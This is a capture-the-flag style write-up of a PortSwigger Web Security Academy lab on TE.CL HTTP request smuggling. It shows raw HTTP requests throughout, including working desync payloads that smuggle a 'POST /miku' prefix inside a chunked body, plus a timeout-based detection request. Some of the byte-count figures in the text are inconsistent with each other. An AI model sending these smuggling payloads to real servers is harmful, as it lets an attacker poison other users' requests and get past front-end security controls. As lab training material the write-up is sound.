Skip to content
Field Value
Platform PortSwigger Web Security Academy
Type HTTP Request Smuggling — TE.CL Detection
Difficulty Practitioner
Objective Smuggle a request prefix that causes the next GET / to return 404
Note Switch Burp Repeater to HTTP/1 manually. Disable "Update Content-Length."

HTTP Request Smuggling — Confirming TE.CL via Differential Responses — Writeup


Initial Observation

Same setup as the CL.TE lab — intercept a request, Repeater → HTTP/1, POST method, disable "Update Content-Length", enable non-printable characters. The base request:

POST / HTTP/1.1
Host: 0af7003b0408aef580ccfd49003200bb.web-security-academy.net
Screenshot

Understanding the TE.CL Setup

This time it's the opposite configuration: the front-end uses Transfer-Encoding and the back-end uses Content-Length.

Adding Transfer-Encoding: chunked and sending a valid chunked body works fine:

POST / HTTP/1.1
Host: 0af7003b0408aef580ccfd49003200bb.web-security-academy.net
Transfer-Encoding: chunked

4
teto
0
Screenshot

The front-end processes the chunked encoding and forwards the request. The back-end uses Content-Length — since there's no Content-Length header, it reads what it gets and processes it.

Triggering the Desync

Adding both headers:

Transfer-Encoding: chunked
Content-Length: 13

With Content-Length: 17 — more bytes than the chunked body provides — the back-end waits for extra bytes that the front-end already considers sent and done. That causes a read timeout:

Screenshot

Timeout confirmed — the back-end is waiting for more data that the front-end already finished sending. The desync is real.


Building the Smuggled Prefix

In TE.CL, the smuggled content sits inside the chunked body — in a chunk that the front-end forwards but the back-end's Content-Length doesn't account for.

The structure:

Content-Length: 4        ← back-end reads only 4 bytes: the chunk size line
Transfer-Encoding: chunked

<chunk-size-in-hex>      ← front-end processes this chunk normally
POST /miku HTTP/1.1      ← smuggled prefix inside the chunk
Content-Length: <n>      ← needed for the smuggled request
                         ← blank line
teto=teto                ← body of smuggled request
0                        ← chunked terminator

The back-end reads Content-Length: 4 — takes only the first 4 bytes (the chunk size line), then treats everything after as a new request. The front-end sees chunked encoding, forwards the entire thing.

The chunk containing the smuggled prefix is 0x34 (52 decimal) bytes. First attempt with exact counts:

POST / HTTP/1.1
Host: 0af7003b0408aef580ccfd49003200bb.web-security-academy.net
Transfer-Encoding: chunked
Content-Length: 4

34
POST /miku HTTP/1.1
Content-Length: 16

teto=teto
0
Screenshot

Send and refresh — no 404 yet. The inner Content-Length: 16 exactly matches the body, so the back-end considers the smuggled request complete and processes it immediately without waiting for the next real request to append.

The fix: inflate the inner Content-Length to 19 — makes the back-end think the smuggled request's body is longer than it is. When the next real request comes in on the connection, the back-end appends it to the smuggled request body. That mangled combined request hits /miku which doesn't exist:

POST / HTTP/1.1
Host: 0af7003b0408aef580ccfd49003200bb.web-security-academy.net
Transfer-Encoding: chunked
Content-Length: 4

34
POST /miku HTTP/1.1
Content-Length: 19

teto=teto
0

Send, then refresh the browser:

Screenshot
Screenshot

404 Not Found. and this will get the lab solved :o

Resources